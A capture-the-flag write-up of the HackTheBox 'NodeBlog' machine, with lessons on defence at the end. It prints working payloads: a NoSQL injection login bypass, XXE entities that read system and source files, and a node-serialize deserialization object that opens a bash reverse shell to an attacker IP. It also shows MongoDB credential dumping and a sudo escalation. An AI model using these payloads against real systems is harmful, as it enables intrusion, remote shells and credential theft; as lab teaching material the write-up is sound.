HTB: NodeBlog Writeup

NodeBlog - HackTheBox Writeup

Machine Information

AttributeDetails
NameNodeBlog
OSLinux
DifficultyEasy
PointsN/A
Release Date11th July 2023
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

NodeBlog is an Easy Linux machine that showcases a unique chain of vulnerabilities in a NodeJS-based blogging platform. The attack begins with a NoSQL injection bypass on the authentication endpoint, granting unauthenticated access to the admin panel. From there, an XXE (XML External Entity) vulnerability in the file upload feature allows arbitrary file read, exposing the application source code. Analysis of the leaked code reveals a critical deserialization vulnerability in the cookie authentication mechanism using node-serialize, which can be exploited for remote code execution. Once on the system, enumerating the locally running MongoDB instance yields database credentials, leading to privilege escalation via sudo privileges.

TL;DR: NoSQL Injection → XXE LFI → node-serialize RCE → MongoDB Enumeration → Sudo Privilege Escalation


Reconnaissance

Port Scanning

Terminal window
# Initial scan to identify open ports
nmap -p- --min-rate=1000 -T4 10.10.11.139
# Detailed enumeration of discovered ports
nmap -p22,5000 -sC -sV 10.10.11.139

Results:

  • Port 22/TCP: OpenSSH (default configuration)
  • Port 5000/TCP: Node.js Express web application (NodeBlog)

Service Enumeration

HTTP (Port 5000):

Browsing to http://10.10.11.139:5000 reveals a basic blog application with:

  • Home page displaying blog articles
  • “Read More” functionality for individual posts
  • Login form for authenticated access
  • Upload feature (visible only after authentication)

Vulnerability Assessment

  1. NoSQL Injection on login endpoint — accepts JSON payloads with MongoDB operators
  2. XXE Injection on file upload endpoint — parses XML without proper entity restrictions
  3. Unsafe Deserialization in cookie handling — uses node-serialize without validation
  4. Exposed MongoDB instance — running on default port without authentication

Initial Foothold

Stage 1: NoSQL Injection Authentication Bypass

The login form initially appears vulnerable to standard SQL injection, but testing reveals it’s a NoSQL backend (MongoDB). We capture a login request in BurpSuite:

POST /login HTTP/1.1
Host: 10.10.11.139:5000
Content-Type: application/x-www-form-urlencoded
user=admin&password=admin

Changing the Content-Type header to application/json and modifying the payload to use MongoDB operators:

POST /login HTTP/1.1
Host: 10.10.11.139:5000
Content-Type: application/json
Content-Length: 47
{"user": "admin", "password": {"$ne": "admin"}}

The $ne (not equal) operator causes the database query to return a user record where the password is not “admin”, effectively bypassing authentication. The response includes a valid authentication cookie:

{"user":"admin","sign":"23e112072945418601deb47d9a6c7de8"}

We forward this request and receive a valid session, granting access to the admin panel with the Upload feature now visible.

Stage 2: XXE Injection for File Read

The Upload feature expects XML files in a specific format. We craft a basic valid XML first:

<post>
<title>Test Post</title>
<description>Test Description</description>
<markdown>Test Content</markdown>
</post>

After confirming the upload works, we exploit the XML parser with an XXE payload to read /etc/passwd:

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<post>
<title>LFI Post</title>
<description>Read File</description>
<markdown>&file;</markdown>
</post>

The server processes the entity declaration and includes /etc/passwd contents in the response, confirming XXE vulnerability. We use this to extract the application source code:

<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///opt/blog/server.js">
]>
<post>
<title>Source Code</title>
<description>Leak Source</description>
<markdown>&file;</markdown>
</post>

This reveals critical code:

const serialize = require('node-serialize')
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
function authenticated(c) {
if (typeof c == 'undefined')
return false
c = serialize.unserialize(c) // VULNERABLE: Unsafe deserialization
if (c.sign == (crypto.createHash('md5').update(cookie_secret +
c.user).digest('hex')) ){
return true
} else {
return false
}
}

Stage 3: node-serialize Deserialization RCE

The serialize.unserialize() function is vulnerable to arbitrary code execution when processing malicious serialized objects. We craft a JavaScript payload that uses an Immediately Invoked Function Expression (IIFE):

payload.js
var y = {
rce : function(){
require('child_process').exec('bash -i >& /dev/tcp/10.10.14.5/4444 0>&1',
function(error, stdout, stderr) { console.log(stdout) });
},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

Generate the serialized payload:

Terminal window
# Install node-serialize if not already present
npm install node-serialize
# Generate serialized object
node payload.js

Output:

{"rce":"_$$ND_FUNC$$_function(){\n require('child_process').exec('bash -i >& /dev/tcp/10.10.14.5/4444 0>&1', function(error, stdout, stderr) { console.log(stdout) });\n }"}

URL-encode the serialized object and set it as the auth cookie:

Terminal window
# URL encode the JSON (use browser dev tools or online encoder)
# Example encoded value: %7B%22rce%22%3A%22_%24%24ND_FUNC...

Set up a Netcat listener on the attacker machine:

Terminal window
nc -nlvp 4444

Intercept a request in BurpSuite and replace the auth cookie with the malicious serialized object. Submit the request and receive a reverse shell:

Terminal window
# Connection received as 'admin' user
id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
# Check home directory permissions
ls -la /home/ | grep admin
# Note: Directory permissions may be restricted initially
# Grant access to home directory
chmod +x /home/admin
cat /home/admin/user.txt

Privilege Escalation

MongoDB Enumeration

While enumerating the system, we discover MongoDB running on the default port:

Terminal window
# Check running services
ps auxww | grep mongo
# Verify MongoDB listening
ss -tlpn | grep 27017

Connect to the local MongoDB instance:

Terminal window
mongo

List available databases:

Terminal window
show dbs
# Output includes 'blog' database

Access the blog database and enumerate collections:

Terminal window
use blog
show collections
# Output: articles, users

Dump the users collection to retrieve credentials:

Terminal window
db.users.find()
# Output:
# { "_id" : ObjectId("..."), "user" : "admin", "password" : "IppsecSaysPleaseSubscribe" }

Privilege Escalation via Sudo

With the password discovered, check sudo privileges:

Terminal window
sudo -l
# Output: User admin may run ALL COMMANDS as (ALL) NOPASSWD: ALL

The admin user has unrestricted sudo access. Escalate to root:

Terminal window
sudo su
# Now running as root
id
# uid=0(root) gid=0(root) groups=0(root)
# Read the root flag
cat /root/root.txt

Attack Chain Summary

NoSQL Injection (Bypass Auth)
Authenticate as Admin
XXE Injection (Read server.js)
Identify node-serialize Vulnerability
Craft Malicious Serialized Object
RCE via Unsafe Deserialization
Reverse Shell as admin User
MongoDB Enumeration (Extract Credentials)
Sudo Privilege Escalation
Root Access & Flag Capture

Tools Used

ToolPurpose
nmapNetwork port scanning and service enumeration
curl/BrowserHTTP requests and application interaction
BurpSuiteRequest interception and payload manipulation
tcpdumpICMP verification for code execution testing
nc (netcat)Reverse shell listener
mongoMongoDB database access and enumeration
node.jsPayload serialization using node-serialize

Key Learnings

Techniques Practiced

  • NoSQL Injection: Using MongoDB operators ($ne, $gt, etc.) to bypass authentication logic
  • XXE (XML External Entity) Attacks: Exploiting XML parsers to perform local file inclusion
  • Unsafe Deserialization: Exploiting node-serialize to achieve RCE through function injection
  • JavaScript IIFE: Immediate Invocation Function Expression for code execution
  • URL Encoding: Proper encoding of special characters in HTTP payloads
  • MongoDB Basics: Database enumeration, collection access, and credential extraction
  • Sudo Privilege Escalation: Leveraging unrestricted sudo privileges for root access

Lessons Learned

  1. Never trust user input — NoSQL databases require proper parameterization and validation, just like SQL databases. The same security principles apply.

  2. Disable XXE by default — Always configure XML parsers with entity processing disabled. Use libraries that disable external entity resolution by default.

  3. Never use unserialize() on untrusted data — The node-serialize library is inherently unsafe. Avoid deserializing untrusted data; use JSON for data exchange instead.

  4. Defense in depth — A single vulnerability (NoSQL injection) granted access, but the subsequent XXE and deserialization vulnerabilities were needed for RCE. Multiple controls should prevent privilege escalation.

  5. Credential exposure is critical — Even after gaining code execution as a low-privilege user, accessing unprotected databases (MongoDB without auth) enabled privilege escalation.

  6. Audit MongoDB permissions — Ensure MongoDB instances require authentication and run with restricted network access. This single instance compromised the entire system.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>